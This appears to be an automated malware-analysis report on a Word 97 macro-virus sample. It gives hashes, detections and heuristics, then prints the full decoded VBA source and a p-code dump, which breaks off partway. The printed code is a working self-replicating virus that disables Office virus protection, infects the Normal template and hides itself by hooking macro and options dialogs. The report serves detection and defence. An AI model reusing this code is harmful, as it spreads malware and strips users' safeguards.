Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6c52001cbdef215…

MALICIOUS

Office (OLE)

43.0 KB Created: 2002-02-17 09:19:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-16
MD5: 3b1132b36bba4888f69b8701fc944970 SHA-1: 36bc746ac76bc90a5ba0da2f839b270b12770f14 SHA-256: f6c52001cbdef21589917ad343432454d2a307e0ef3ade9871ec21d1703d4caa
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro markers and VBA macros, including an AutoOpen subroutine. The critical heuristic indicates self-replication and AV tampering, suggesting the macro attempts to persist and evade defenses. The script attempts to export and import VBA components, indicating a replication mechanism. The presence of `Environ("temp")` suggests the use of the temporary directory for staging.

Heuristics 6

  • ClamAV: Doc.Trojan.Digger-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Digger-6
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    dc.ReplaceLine 2, "const NStat=" & NorStat
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    pth = Environ("temp") & "\~WRr000^.tmp"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30860 bytes
SHA-256: 06d419200f48a1cef4d2487e89580f8ccef793185e27859455c18cafba138c1c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xkySoldier"
Option Explicit
Const NStat = 1
Const VStat = 1
Public Declare Sub FatalAppExit Lib "kernel32" Alias "FatalAppExitA" (ByVal uAction As Long, ByVal lpMessageText As String)
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Dim pth As String, i As Byte, dc As Object
Dim NInst As Boolean, AInst As Boolean
On Error Resume Next
Application.VBE.MainWindow.Visible = False
pth = Environ("temp") & "\~WRr000^.tmp"
Set dc = NormalTemplate.VBProject.VBComponents
For i = 1 To dc.Count
If dc(i).Name = "xkySoldier" Then
NInst = 1
dc(i).Export pth
End If
Next i
Set dc = ActiveDocument.VBProject.VBComponents
For i = 1 To dc.Count
If dc(i).Name = "xkySoldier" Then
AInst = 1
dc(i).Export pth
End If
Next i
If AInst = True And NInst = False Then Set dc = NormalTemplate
If AInst = False And NInst = True Then Set dc = ActiveDocument
If AInst = False Or NInst = False Then
dc.VBProject.VBComponents.Import pth
If Mid(ActiveDocument.FullName, 2, 1) = ":" Then dc.Save
Kill pth
End If
 AutoCorrect.Entries(",").Delete
    With AutoCorrect
        .CorrectInitialCaps = True
        .CorrectSentenceCaps = False
        .CorrectDays = True
        .CorrectCapsLock = True
        .ReplaceText = True
    End With
    On Error Resume Next
Dim pdd, wd, r, s
Set wd = Application.VBE.ActiveVBProject.VBComponents

For r = 1 To wd.Count

If Application.VBE.ActiveVBProject.VBComponents(r).Name = "WordDigger" Then

MsgBox "Внимание!" + vbCrLf + "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)" + vbCrLf + " Модуль БЛИНА и его последствия были уничтожены" + vbCrLf + "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом", vbOKOnly + vbInformation
MsgBox "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger" + vbCrLf + " или, как его тут все называют БЛИН" + vbCrLf + "Он до того живучий, что сильно меня достал" + vbCrLf + "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..." + vbCrLf + "Автор программы: Штода Е.В. (АпНШ)" + vbCrLf + "Идея: Дудин Сергей (ОСВ и БВС)" + vbCrLf + "Под чутким руководством полковника Чмулева В.В."
GoSub 20

End If
Next r
20 wd.Remove Application.VBE.ActiveVBProject.VBComponents(r)


Return

Set pdd = NormalTemplate.VBProject.VBComponents

For s = 1 To pdd.Count
If NormalTemplate.VBProject.VBComponents(s).Name = "WordDigger" Then
pdd.Remove NormalTemplate.VBProject.VBComponents(s)
MsgBox "Внимание!" + vbCrLf + "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)" + vbCrLf + " Модуль БЛИНА и его последствия были уничтожены" + vbCrLf + "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом", vbOKOnly + vbInformation
MsgBox "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger" + vbCrLf + " или, как его тут все называют БЛИН" + vbCrLf + "Он до того живучий, что сильно меня достал" + vbCrLf + "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..." + vbCrLf + "Автор программы: Штода Е.В. (АпНШ)" + vbCrLf + "Идея: Дудин Сергей (ОСВ и БВС)" + vbCrLf + "Под чутким руководством полковника Чмулева В.В."
End If
Next s
End Sub
Sub AutoExec()
Dim o, l
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Application.VBE.MainWindow.Visible = False
WordBasic.DisableAutoMacros 0
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
 AutoCorrect.Entries(",").Delete
    With AutoCorrect
        .CorrectInitialCaps = True
        .CorrectSentenceCaps = False
        .CorrectDays = True
        .CorrectCapsLock = True
        .ReplaceText = True
    End With
    On Error Resume Next
Dim pdd, wd
Set wd = Application.VBE.ActiveVBProject.VBComponents

For o = 1 To wd.Count

If Application.VBE.ActiveVBProject.VBComponents(o).Name = "WordDigger" Then

MsgBox "Внимание!" + vbCrLf + "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)" + vbCrLf + " Модуль БЛИНА и его последствия были уничтожены" + vbCrLf + "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом", vbOKOnly + vbInformation
MsgBox "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger" + vbCrLf + " или, как его тут все называют БЛИН" + vbCrLf + "Он до того живучий, что сильно меня достал" + vbCrLf + "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..." + vbCrLf + "Автор программы: Штода Е.В. (АпНШ)" + vbCrLf + "Идея: Дудин Сергей (ОСВ и БВС)" + vbCrLf + "Под чутким руководством полковника Чмулева В.В."
GoSub 20

End If
Next o
20 wd.Remove Application.VBE.ActiveVBProject.VBComponents(o)


Return

Set pdd = NormalTemplate.VBProject.VBComponents

For l = 1 To pdd.Count
If NormalTemplate.VBProject.VBComponents(l).Name = "WordDigger" Then
pdd.Remove NormalTemplate.VBProject.VBComponents(l)
MsgBox "Внимание!" + vbCrLf + "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)" + vbCrLf + " Модуль БЛИНА и его последствия были уничтожены" + vbCrLf + "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом", vbOKOnly + vbInformation
MsgBox "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger" + vbCrLf + " или, как его тут все называют БЛИН" + vbCrLf + "Он до того живучий, что сильно меня достал" + vbCrLf + "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..." + vbCrLf + "Автор программы: Штода Е.В. (АпНШ)" + vbCrLf + "Идея: Дудин Сергей (ОСВ и БВС)" + vbCrLf + "Под чутким руководством полковника Чмулева В.В."
End If
Next l
End Sub
Sub FileSave()
On Error Resume Next
Call AutoOpen
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Call AutoOpen
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub ToolsOptions()
On Error Resume Next
Dim dc As Object
Dim VirStat As Byte
Dim NorStat As Byte
Options.SaveNormalPrompt = NStat
Options.VirusProtection = VStat
Dialogs(wdDialogToolsOptions).Show
Set dc = ActiveDocument.VBProject.VBComponents("xkySoldier").CodeModule
If Options.SaveNormalPrompt = True Then NorStat = 1
If Options.VirusProtection = True Then VirStat = 1
dc.ReplaceLine 2, "const NStat=" & NorStat
dc.ReplaceLine 3, "const VStat=" & VirStat
Set dc = NormalTemplate.VBProject.VBComponents("xkySoldier").CodeModule
dc.ReplaceLine 2, "const NStat=" & NorStat
dc.ReplaceLine 3, "const VStat=" & VirStat
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
NormalTemplate.Save
NormalTemplate.Saved = True
End Sub
Sub ToolsMacro()
Dim i As Byte, n As Integer, pth As String
Dim NInst As Boolean, AInst As Boolean, Nsav As Boolean, Asav As Boolean, res As Boolean
Dim dc As Object, dcN As Object, dcA As Object
On Error Resume Next
pth = Environ("temp") & "\~WRr000^.tmp"
Set dcN = NormalTemplate.VBProject.VBComponents
Set dcA = ActiveDocument.VBProject.VBComponents
Set dc = NormalTemplate.VBProject
GoSub 10
NInst = res
Set dc = ActiveDocument.VBProject
GoSub 10
AInst = res
If NInst = True Then
Set dc = dcN
GoSub 20
Nsav = NormalTemplate.Saved
NormalTemplate.Saved = 1
End If
If AInst = True Then
Set dc = dcA
GoSub 20
Asav = ActiveDocument.Saved
ActiveDocument.Saved = 1
End If
Dialogs(wdDialogToolsMacro).Show
dcN("xkySoldier").CodeModule.AddFromFile pth
dcA("xkySoldier").CodeModule.AddFromFile pth
dcN.CodeModule.AddFromFile pth
NormalTemplate.Saved = Nsav
dcA.CodeModule.AddFromFile pth
ActiveDocument.Saved = Asav
Kill pth
Exit Sub
10 For i = 1 To dc.VBComponents.Count
If dc.VBComponents(i).Name = "xkySoldier" Then
res = 1
dc.VBComponents(i).Export pth
End If
Next i
Return
20 dc.Export pth
n = dc("xkySoldier").CodeModule.CountOfLines
dc("xkySoldier").CodeModule.DeleteLines 1, n
Return
End Sub
Sub ViewVBCode()
'If Dir("c:\xkySoldier.die") = "" Then
'MsgBox "Осторожно"
Application.VBE.MainWindow.Visible = True
'End If
End Sub


' Processing file: /tmp/qstore_1jh5z559
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1122 bytes
' Macros/VBA/xkySoldier - 14187 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	Dim (Const) 
' 	LitDI2 0x0001 
' 	VarDefn NStat
' Line #2:
' 	Dim (Const) 
' 	LitDI2 0x0001 
' 	VarDefn VStat
' Line #3:
' 	FuncDefn (Public Declare Sub FatalAppExit Lib "kernel32" (ByVal uAction As Long, ByVal lpMessageText As String))
' Line #4:
' 	FuncDefn (Sub AutoOpen())
' Line #5:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #7:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' 	Dim 
' 	VarDefn pth (As String)
' 	VarDefn i (As Byte)
' 	VarDefn dc (As Object)
' Line #10:
' 	Dim 
' 	VarDefn NInst (As Boolean)
' 	VarDefn AInst (As Boolean)
' Line #11:
' 	OnError (Resume Next) 
' Line #12:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd MainWindow 
' 	MemSt Visible 
' Line #13:
' 	LitStr 0x0004 "temp"
' 	ArgsLd Environ 0x0001 
' 	LitStr 0x000D "\~WRr000^.tmp"
' 	Concat 
' 	St pth 
' Line #14:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set dc 
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld dc 
' 	MemLd Count 
' 	For 
' Line #16:
' 	Ld i 
' 	ArgsLd dc 0x0001 
' 	MemLd New 
' 	LitStr 0x000A "xkySoldier"
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LitDI2 0x0001 
' 	St NInst 
' Line #18:
' 	Ld pth 
' 	Ld i 
' 	ArgsLd dc 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set dc 
' Line #22:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld dc 
' 	MemLd Count 
' 	For 
' Line #23:
' 	Ld i 
' 	ArgsLd dc 0x0001 
' 	MemLd New 
' 	LitStr 0x000A "xkySoldier"
' 	Eq 
' 	IfBlock 
' Line #24:
' 	LitDI2 0x0001 
' 	St AInst 
' Line #25:
' 	Ld pth 
' 	Ld i 
' 	ArgsLd dc 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #28:
' 	Ld AInst 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NInst 
' 	LitVarSpecial (False)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set dc 
' 	EndIf 
' Line #29:
' 	Ld AInst 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld NInst 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set dc 
' 	EndIf 
' Line #30:
' 	Ld AInst 
' 	LitVarSpecial (False)
' 	Eq 
' 	Ld NInst 
' 	LitVarSpecial (False)
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #31:
' 	Ld pth 
' 	Ld dc 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #32:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0001 ":"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld dc 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #33:
' 	Ld pth 
' 	ArgsCall Kill 0x0001 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	LitStr 0x0001 ","
' 	Ld AutoCorrect 
' 	ArgsMemLd Entries 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #36:
' 	StartWithExpr 
' 	Ld AutoCorrect 
' 	With 
' Line #37:
' 	LitVarSpecial (True)
' 	MemStWith CorrectInitialCaps 
' Line #38:
' 	LitVarSpecial (False)
' 	MemStWith CorrectSentenceCaps 
' Line #39:
' 	LitVarSpecial (True)
' 	MemStWith CorrectDays 
' Line #40:
' 	LitVarSpecial (True)
' 	MemStWith CorrectCapsLock 
' Line #41:
' 	LitVarSpecial (True)
' 	MemStWith ReplaceText 
' Line #42:
' 	EndWith 
' Line #43:
' 	OnError (Resume Next) 
' Line #44:
' 	Dim 
' 	VarDefn pdd
' 	VarDefn wd
' 	VarDefn r
' 	VarDefn s
' Line #45:
' 	SetStmt 
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	MemLd VBComponents 
' 	Set wd 
' Line #46:
' Line #47:
' 	StartForVariable 
' 	Ld r 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld wd 
' 	MemLd Count 
' 	For 
' Line #48:
' Line #49:
' 	Ld r 
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x000A "WordDigger"
' 	Eq 
' 	IfBlock 
' Line #50:
' Line #51:
' 	LitStr 0x0009 "Внимание!"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0032 "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F " Модуль БЛИНА и его последствия были уничтожены"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x005D "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом"
' 	Add 
' 	Ld vbOKOnly 
' 	Ld vbInformation 
' 	Add 
' 	ArgsCall MsgBox 0x0002 
' Line #52:
' 	LitStr 0x0042 "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0023 " или, как его тут все называют БЛИН"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002A "Он до того живучий, что сильно меня достал"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x007B "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..."
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0022 "Автор программы: Штода Е.В. (АпНШ)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x001E "Идея: Дудин Сергей (ОСВ и БВС)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F "Под чутким руководством полковника Чмулева В.В."
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' Line #53:
' 	GoSub 20 
' Line #54:
' Line #55:
' 	EndIfBlock 
' Line #56:
' 	StartForVariable 
' 	Ld r 
' 	EndForVariable 
' 	NextVar 
' Line #57:
' 	LineNum 20 
' 	Ld r 
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld wd 
' 	ArgsMemCall Remove 0x0001 
' Line #58:
' Line #59:
' Line #60:
' 	Return 
' Line #61:
' Line #62:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set pdd 
' Line #63:
' Line #64:
' 	StartForVariable 
' 	Ld s 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld pdd 
' 	MemLd Count 
' 	For 
' Line #65:
' 	Ld s 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x000A "WordDigger"
' 	Eq 
' 	IfBlock 
' Line #66:
' 	Ld s 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld pdd 
' 	ArgsMemCall Remove 0x0001 
' Line #67:
' 	LitStr 0x0009 "Внимание!"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0032 "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F " Модуль БЛИНА и его последствия были уничтожены"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x005D "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом"
' 	Add 
' 	Ld vbOKOnly 
' 	Ld vbInformation 
' 	Add 
' 	ArgsCall MsgBox 0x0002 
' Line #68:
' 	LitStr 0x0042 "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0023 " или, как его тут все называют БЛИН"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002A "Он до того живучий, что сильно меня достал"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x007B "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..."
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0022 "Автор программы: Штода Е.В. (АпНШ)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x001E "Идея: Дудин Сергей (ОСВ и БВС)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F "Под чутким руководством полковника Чмулева В.В."
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	StartForVariable 
' 	Ld s 
' 	EndForVariable 
' 	NextVar 
' Line #71:
' 	EndSub 
' Line #72:
' 	FuncDefn (Sub AutoExec())
' Line #73:
' 	Dim 
' 	VarDefn o
' 	VarDefn l
' Line #74:
' 	OnError (Resume Next) 
' Line #75:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #76:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd MainWindow 
' 	MemSt Visible 
' Line #77:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #78:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #79:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #80:
' 	LitStr 0x0001 ","
' 	Ld AutoCorrect 
' 	ArgsMemLd Entries 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #81:
' 	StartWithExpr 
' 	Ld AutoCorrect 
' 	With 
' Line #82:
' 	LitVarSpecial (True)
' 	MemStWith CorrectInitialCaps 
' Line #83:
' 	LitVarSpecial (False)
' 	MemStWith CorrectSentenceCaps 
' Line #84:
' 	LitVarSpecial (True)
' 	MemStWith CorrectDays 
' Line #85:
' 	LitVarSpecial (True)
' 	MemStWith CorrectCapsLock 
' Line #86:
' 	LitVarSpecial (True)
' 	MemStWith ReplaceText 
' Line #87:
' 	EndWith 
' Line #88:
' 	OnError (Resume Next) 
' Line #89:
' 	Dim 
' 	VarDefn pdd
' 	VarDefn wd
' Line #90:
' 	SetStmt 
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	MemLd VBComponents 
' 	Set wd 
' Line #91:
' Line #92:
' 	StartForVariable 
' 	Ld o 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld wd 
' 	MemLd Count 
' 	For 
' Line #93:
' Line #94:
' 	Ld o 
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x000A "WordDigger"
' 	Eq 
' 	IfBlock 
' Line #95:
' Line #96:
' 	LitStr 0x0009 "Внимание!"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0032 "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F " Модуль БЛИНА и его последствия были уничтожены"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x005D "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом"
' 	Add 
' 	Ld vbOKOnly 
' 	Ld vbInformation 
' 	Add 
' 	ArgsCall MsgBox 0x0002 
' Line #97:
' 	LitStr 0x0042 "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0023 " или, как его тут все называют БЛИН"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002A "Он до того живучий, что сильно меня достал"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x007B "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..."
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0022 "Автор программы: Штода Е.В. (АпНШ)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x001E "Идея: Дудин Сергей (ОСВ и БВС)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F "Под чутким руководством полковника Чмулева В.В."
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' Line #98:
' 	GoSub 20 
' Line #99:
' Line #100:
' 	EndIfBlock 
' Line #101:
' 	StartForVariable 
' 	Ld o 
' 	EndForVariable 
' 	NextVar 
' Line #102:
' 	LineNum 20 
' 	Ld o 
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld wd 
' 	ArgsMemCall Remove 0x0001 
' Line #103:
' Line #104:
' Line #105:
' 	Return 
' Line #106:
' Line #107:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set pdd 
' Line #108:
' Line #109:
' 	StartForVariable 
' 	Ld l 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld pdd 
' 	MemLd Count 
' 	For 
' Line #110:
' 	Ld l 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x000A "WordDigger"
' 	Eq 
' 	IfBlock 
' Line #111:
' 	Ld l 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld pdd 
' 	ArgsMemCall Remove 0x0001 
' Line #112:
' 	LitStr 0x0009 "Внимание!"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0032 "В шаблоне обнаружен модуль WordDigger (иначе БЛИН)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F " Модуль БЛИНА и его последствия были уничтожены"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x005D "Вирусом-охотником SkySoldier. Вакцинация шаблона проведена, однако проверте файлы антивирусом"
' 	Add 
' 	Ld vbOKOnly 
' 	Ld vbInformation 
' 	Add 
' 	ArgsCall MsgBox 0x0002 
' Line #113:
' 	LitStr 0x0042 "В 2000 году какая-то скотина принесла в штаб СКВО вирус WordDigger"
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0023 " или, как его тут все называют БЛИН"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002A "Он до того живучий, что сильно меня достал"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x007B "и вот на досуге сложилась мысль написать вирус-охотник, который бы уничтожал БЛИН изнутри. И вот что из этого получилось..."
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x0022 "Автор программы: Штода Е.В. (АпНШ)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x001E "Идея: Дудин Сергей (ОСВ и БВС)"
' 	Add 
' 	Ld vbCrLf 
' 	Add 
' 	LitStr 0x002F "Под чутким руководством полковника Чмулева В.В."
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' Line #114:
' 	EndIfBlock 
' Line #115:
' 	StartForVariable 
' 	Ld l 
' 	EndForVariable 
' 	NextVar 
' Line #116:
' 	EndSub 
' Line #117:
' 	FuncDefn (Sub FileSave())
' Line #118:
' 	OnError (Resume Next) 
' Line #119:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #120:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #121:
' 	EndSub 
' Line #122:
' 	FuncDefn (Sub FileSaveAs())
' Line #123:
' 	OnError (Resume Next) 
' Line #124:
' 	ArgsCall (Call) AutoOpen 0x0000 
' Line #125:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #126:
' 	EndSub 
' Line #127:
' 	FuncDefn (Sub ToolsOptions())
' Line #128:
' 	OnError (Resume Next) 
' Line #129:
' 	Dim 
' 	VarDefn dc (As Object)
' Line #130:
' 	Dim 
' 	VarDefn VirStat (As Byte)
' Line #131:
' 	Dim 
' 	VarDefn NorStat (As Byte)
' Line #132:
' 	Ld NStat 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #133:
' 	Ld VStat 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #134:
' 	Ld wdDialogToolsOptions 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #135:
' 	SetStmt 
' 	LitStr 0x000A "xkySoldier"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set dc 
' Line #136:
' 	Ld Options 
' 	MemLd SaveNormalPrompt 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St NorStat 
